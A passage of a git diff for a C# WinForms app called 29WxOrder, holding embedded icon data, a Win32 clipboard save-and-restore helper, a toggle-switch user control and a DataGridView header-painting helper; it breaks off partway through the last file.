/v//7ub//59x//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj/t/34/DQAAAAAAAAAAAAAAAAAAAAAAAAAA/34/f/9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///4BB//+h + c///7+f///////////////////////////////////////////////////////////////////////// + ///////////////////////////////+/v/////////+///z7f//tZD//4VJ//9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///4RI//+0 + kP//9O////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////z6///Jr///h03//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P38AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fj8Q/34/6v9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///4hN///Jrv///Pv//////////////v3///7+//// + //////////////////////////////////////////////////////////////////////7///////// + /v//8uv//7qZ//+JT///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///4pQ///Bo///+vj///////////////////////// + ///////////////////////////////////////////////////////////////////////////////+ + /v//59v//51u//9/QP//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj/q/34/EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAD/fj9g/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///f0D//5po///m2v////7///////////////////////////////////////////////////////// + /////////////////////////////////v///v7///Dp//+4lf//ilD//39A//9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///f0H//49Z///PuP///Pr///////////////////////////////////////////////////////// + //////////////////////////////////////////Xw//+zjf//hEf//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P2EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+PwH/fj/D/34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///g0b//6yD///x6f////7///////// + ///////////////////////////////+/v////////////////////////////////////7///v5///i + 1P//rIP//4VK//9/QP//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///f0H//5Jd///Ntf//+vj///////// + ///////////////////////////////////////////////////////////////////////////////3 + 9P//waP//4lP//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj/D/34/AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAP9+PyL/fj/w/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///hUr//7KM///v5v///v3///////////////////////////////////////// + //////////////////////7///38///x6v//y7L//5pp//+CRf//fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///f0D//45W///Aof//8uz////+//////////////////////////////////// + ////////////////////////////////////9vH//8Kk//+MU///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/8P9+ + PyIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+P1T/fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///hkr//6qB///f + 0P//+vj////+///////////////+//////////////////////////7///39///y6///0br//6h9//+K + UP//f0H//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///f0D//4hO//+q + gP//3s7///n3/////v///////////////////////////////////////////////v///fz//+zi//+3 + k///ilD//39A//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj9VAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+P4j/fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///gkT//5Nf//+4lf//3c3///Pt///7+f///fz///7+///9 + +///+vf///Lr///ezf//vp///6Bx//+LU///gUP//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///4BC//+TX///upj//+LU///49f///f3////+///+ + /v///v7////+///+/f//+/j//+7m///Lsv//n3D//4RI//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/iQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/34/Af9+ + P6T/fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///f0D//4NG//+PWf//nm7//6h9//+uhv//rof//6yD//+lev//nGv//45X//+DRv//fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///+DR///k1///6qB///Ep///2MT//+LU///j1f//28r//820//+1kf//nGz//4lP//+A + Qf//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P6T/fj8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/34/Bv9+P7f/fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///f0D//4NG//+J + T///j1j//5Fb//+NVv//h0z//4BC//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj+3/34/BgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA/34/Bv9+P6X/fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34/pf9+PwYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/34/Af9+P4z/fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P4z/fj8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+P1X/fj/x/34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P/H/fj9VAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+ + PyT/fj/E/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj/E/34/IwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+PwH/fj9g/34/6/9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj/r/34/YP9+PwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAD/fj8Q/34/f/9+P+3/fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj/t/34/f/9+PxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/34/Df9+ + P3T/fj/V/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj/V/34/dP9+ + Pw0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fj8z/34/jf9+P9f/fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P9f/fj+N/34/MwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+Pxv/fj9U/34/ff9+P6X/fj/L/34/4/9+P/L/fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj/y/34/4/9+P8v/fj+l/34/ff9+P1T/fj8bAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA////AAAAAAAAAAAAAP//////+AAAAAAAAAAAAAAf/////8AAAAAAAAAA + AAAAA/////8AAAAAAAAAAAAAAAD////8AAAAAAAAAAAAAAAAP///+AAAAAAAAAAAAAAAAB////AAAAAA + AAAAAAAAAAAP///AAAAAAAAAAAAAAAAAA///gAAAAAAAAAAAAAAAAAH//wAAAAAAAAAAAAAAAAAA//4A + AAAAAAAAAAAAAAAAAH/+AAAAAAAAAAAAAAAAAAB//AAAAAAAAAAAAAAAAAAAP/gAAAAAAAAAAAAAAAAA + AB/wAAAAAAAAAAAAAAAAAAAP8AAAAAAAAAAAAAAAAAAAD+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAA + AAAAAAAHwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAAAAOAAAAAAAAAAAAAAAAAAAABgAAAAAAA + AAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AACAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAAAAPgAAAAAAAAAAAAAAAAAAAH4AAAAAAA + AAAAAAAAAAAAB/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP+AAAAAAAAAAAAAAAAAAAH/wA + AAAAAAAAAAAAAAAAAD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAA + AP//gAAAAAAAAAAAAAAAAAH//8AAAAAAAAAAAAAAAAAD///wAAAAAAAAAAAAAAAAD///+AAAAAAAAAAA + AAAAAB////wAAAAAAAAAAAAAAAA/////AAAAAAAAAAAAAAAA/////8AAAAAAAAAAAAAAA//////4AAAA + AAAAAAAAAB///////wAAAAAAAAAAAAD///8= + + + \ No newline at end of file diff --git a/29WxOrder/MyClip.cs b/29WxOrder/MyClip.cs new file mode 100644 index 0000000..c64aba7 --- /dev/null +++ b/29WxOrder/MyClip.cs @@ -0,0 +1,128 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading.Tasks; + +namespace _29WxOrder +{ + public class MyClip + { + [DllImport("user32.dll", CharSet = CharSet.Auto)] + static public extern IntPtr SetClipboardData(uint Format, IntPtr hData); + [DllImport("user32.dll", SetLastError = true)] + static extern uint EnumClipboardFormats(uint format); //枚举剪贴板内数据类型 + [DllImport("user32.dll", SetLastError = true)] + private static extern Int32 OpenClipboard(IntPtr hWndNewOwner); + [DllImport("user32.dll", SetLastError = true)] + private static extern IntPtr GetClipboardData(uint uFormat); + [DllImport("user32.dll", SetLastError = true)] + private static extern Int32 CloseClipboard(); + [DllImport("kernel32.dll", SetLastError = true)] + private static extern Int32 GlobalLock(IntPtr hMem); + [DllImport("kernel32.dll", SetLastError = true)] + private static extern Int32 GlobalUnlock(IntPtr hMem); + [DllImport("kernel32.dll")] + public static extern uint GlobalSize(IntPtr hMem); + /// + /// 剪贴板数据保存目标数据列表 + /// + private static List bytes = new List(); + /// + /// 剪贴板数据类型列表 + /// + private static List formats = new List(); + /// + /// 保存剪贴板内容,返回真为成功,false为失败。 + /// + /// + public static bool saveClip() + { + try + { + bool fi = true; + if (OpenClipboard((IntPtr)0) < 1) + { + fi = false; + return false; + } + else + { + bytes.Clear(); + formats.Clear(); + } + IntPtr hMem = IntPtr.Zero; + IntPtr lpStr = IntPtr.Zero; + uint uFormat = 0; + while (fi) + { + uFormat = EnumClipboardFormats(uFormat);//枚举剪贴板所有数据类型 + if (uFormat > 0) + { + formats.Add(uFormat); + hMem = GetClipboardData(uFormat); + lpStr = (IntPtr)GlobalLock(hMem); + if (hMem != (IntPtr)0) + { + uint size = GlobalSize(hMem); + IntPtr s = (IntPtr)GlobalLock(hMem); + byte[] buffer = new byte[(int)size]; + if (size > 0) + { + Marshal.Copy(s, buffer, 0, (int)size);//将剪贴板数据保存到自定义字节数组 + } + GlobalUnlock(hMem); + bytes.Add(buffer); + } + } + else + { + fi = false; + } + } + CloseClipboard(); + if (formats.Count > 0) + { return true; } + else { return false; } + } + catch (Exception) + { + + } + return false; + } + /// + /// 恢复保存的数据 + /// + /// + public static bool restoreClip() + { + bool fi = true; + if (formats.Count <= 0) { return false; } + if (OpenClipboard((IntPtr)0) < 1) + { + fi = false; + return false; + } + if (fi) + { + for (int i = 0; i < formats.Count; i++) + { + int size = bytes[i].Length; + IntPtr si = Marshal.AllocHGlobal(size); + if (size > 0) + { + Marshal.Copy(bytes[i], 0, si, size); + } + else { } + SetClipboardData(formats[i], si); + } + } + CloseClipboard(); + if (formats.Count > 0) + { return true; } + else { return false; } + } + } +} diff --git a/29WxOrder/MyControl/ButtonSwitch.Designer.cs b/29WxOrder/MyControl/ButtonSwitch.Designer.cs new file mode 100644 index 0000000..46037cb --- /dev/null +++ b/29WxOrder/MyControl/ButtonSwitch.Designer.cs @@ -0,0 +1,50 @@ +namespace _29WxOrder.MyControl +{ + partial class ButtonSwitch + { + /// + /// 必需的设计器变量。 + /// + private System.ComponentModel.IContainer components = null; + + /// + /// 清理所有正在使用的资源。 + /// + /// 如果应释放托管资源,为 true;否则为 false。 + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region 组件设计器生成的代码 + + /// + /// 设计器支持所需的方法 - 不要修改 + /// 使用代码编辑器修改此方法的内容。 + /// + private void InitializeComponent() + { + this.SuspendLayout(); + // + // ButtonSwitch + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.AutoSizeMode = System.Windows.Forms.AutoSizeMode.GrowAndShrink; + this.BackgroundImage = global::_29WxOrder.Properties.Resources.btncheckon1; + this.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; + this.Cursor = System.Windows.Forms.Cursors.Hand; + this.DoubleBuffered = true; + this.Name = "ButtonSwitch"; + this.Size = new System.Drawing.Size(63, 21); + this.Click += new System.EventHandler(this.ButtonSwitch_Click); + this.ResumeLayout(false); + + } + + #endregion + } +} diff --git a/29WxOrder/MyControl/ButtonSwitch.cs b/29WxOrder/MyControl/ButtonSwitch.cs new file mode 100644 index 0000000..dc8be7d --- /dev/null +++ b/29WxOrder/MyControl/ButtonSwitch.cs @@ -0,0 +1,53 @@ +using System; +using System.Windows.Forms; + +namespace _29WxOrder.MyControl +{ + public partial class ButtonSwitch : UserControl + { + public event EventHandler Switch; + private bool _turnOn; + public bool TurnOn + { + get + { + return _turnOn; + } + set + { + _turnOn = value; + if (_turnOn) + { + this.BackgroundImage = global::_29WxOrder.Properties.Resources.btncheckon1; + } + else + { + this.BackgroundImage = global::_29WxOrder.Properties.Resources.btncheckoff1; + } + } + } + public ButtonSwitch() + { + TurnOn = true; + this.BackgroundImage = global::_29WxOrder.Properties.Resources.btncheckon1; + InitializeComponent(); + } + + private void ButtonSwitch_Click(object sender, EventArgs e) + { + if (TurnOn) + { + TurnOn = false; + this.BackgroundImage = global::_29WxOrder.Properties.Resources.btncheckoff1; + } + else + { + TurnOn = true; + this.BackgroundImage = global::_29WxOrder.Properties.Resources.btncheckon1; + } + Switch?.Invoke(null,null); + } + + + } +} diff --git a/29WxOrder/MyControl/ButtonSwitch.resx b/29WxOrder/MyControl/ButtonSwitch.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/29WxOrder/MyControl/ButtonSwitch.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/29WxOrder/MyControl/DGVHeaderMouseEnterHelper.cs b/29WxOrder/MyControl/DGVHeaderMouseEnterHelper.cs new file mode 100644 index 0000000..0329069 --- /dev/null +++ b/29WxOrder/MyControl/DGVHeaderMouseEnterHelper.cs @@ -0,0 +1,78 @@ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace _29WxOrder.MyControl +{ + public class DGVHeaderMouseEnterHelper + { + public DGVHeaderMouseEnterHelper(DataGridView gridview) + { + gridview.CellPainting += new DataGridViewCellPaintingEventHandler(gridview_CellPainting); + } + + int top = 0; + int left = 0; + int height = 0; + int width1 = 0; + + public void gridview_CellPainting(object sender, DataGridViewCellPaintingEventArgs e) + { + #region 重绘datagridview表头 + DataGridView dgv = (DataGridView)(sender); + if (e.RowIndex != -1) return; + if (e.ColumnIndex == 12 && e.RowIndex == -1) + { + using (Pen gridLinePen = new Pen(ColorTranslator.FromHtml("#CBD2DA"))) //画笔颜色 + { + //e.Graphics.DrawLine(gridLinePen, left, top, left + width, top); + //e.Graphics.DrawLine(gridLinePen, left, top + height / 2, left + width, top + height / 2); + //e.Graphics.DrawLine(gridLinePen, left, top + height - 1, left + width, top + height - 1); //自定义区域下部横线 + width1 = 0; + e.Graphics.DrawLine(gridLinePen, left - 1, top, left - 1, top + height - 2); + + + } + e.Handled = true; + } + if (e.ColumnIndex == 11 && e.RowIndex == -1) + { + using (Pen gridLinePen = new Pen(ColorTranslator.FromHtml("#CBD2DA"))) //画笔颜色 + { + //e.Graphics.DrawLine(gridLinePen, left, top, left + width, top); + //e.Graphics.DrawLine(gridLinePen, left, top + height / 2, left + width, top + height / 2); + //e.Graphics.DrawLine(gridLinePen, left, top + height - 1, left + width, top + height - 1); //自定义区域下部横线 + width1 = 0; + e.Graphics.DrawLine(gridLinePen, left + dgv.Columns[10].Width , top, left + dgv.Columns[10].Width , top + height - 2); + + + } + e.Handled = true; + } + + #endregion + } + private List _headers = new List(); + public List Headers + { + get { return _headers; } + } + + public struct TopHeader + { + public TopHeader(int index, int span, string text) + { + 